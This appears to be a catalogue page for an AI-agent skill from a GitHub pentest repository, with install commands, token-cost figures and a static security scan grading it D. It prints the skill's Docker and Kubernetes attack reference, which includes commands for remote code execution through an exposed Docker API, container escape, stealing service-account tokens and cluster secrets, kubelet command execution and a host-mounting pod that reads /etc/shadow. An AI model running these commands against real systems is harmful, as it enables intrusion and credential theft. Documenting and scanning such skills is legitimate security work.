Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/s0ld13rr/pentestcode/docker-k8snpx skills add s0ld13rr/pentestcode --skill docker-k8sgit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00085 | $0.00776 |
| Opus 5 | $0.00043 | $0.00388 |
| Sonnet 5 | $0.00017 | $0.00155 |
| Haiku 4.5 | $0.00009 | $0.00078 |
Grade D, and why
svc-docker-k8s scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id" Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}' Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl http://<target>:2375/version How it starts
The opening of the file, as written. The whole thing — 91 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Docker & Kubernetes Attack Reference
Docker API (2375/2376)
# Check for exposed Docker daemon
curl http://<target>:2375/version
curl http://<target>:2375/containers/json
# RCE via container creation
curl -X POST http://<target>:2375/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'
# Then start and read logs
curl -X POST http://<target>:2375/containers/<id>/start
curl http://<target>:2375/containers/<id>/logs?stdout=true
Container Escape
# Check if inside container
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv
# Privileged container escape
fdisk -l # can see host disks?
mount /dev/sda1 /mnt && chroot /mnt
# Docker socket mounted
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt
# CVE-2019-5736 (runc <1.0-rc6): overwrite runc binary from container
Kubernetes API (6443/8443)
# Unauthenticated access
curl -k https://<target>:6443/api
curl -k https://<target>:6443/api/v1/namespaces
curl -k https://<target>:6443/api/v1/pods
curl -k https://<target>:8443/version
# With token (from pod service account)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets
# kubelet API (10250)
curl -k https://<target>:10250/pods
curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"
K8s RBAC Abuse
# Check permissions
kubectl auth can-i --list
kubectl auth can-i create pods
# Pod with host mount (if create pods allowed)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: pwned
spec:
containers:
- name: pwned
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow"]
volumeMounts:
- mountPath: /host
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
EOF
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 91 lines · 85 tokens per session scan D 0ce48fd3cdaa
svc-docker-k8s is a skill published in the GitHub repository s0ld13rr/pentestcode (594 stars, last pushed 11d ago), licensed MIT. It adds 85 tokens to every session and 776 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it D with 3 findings (sends data to an external url, reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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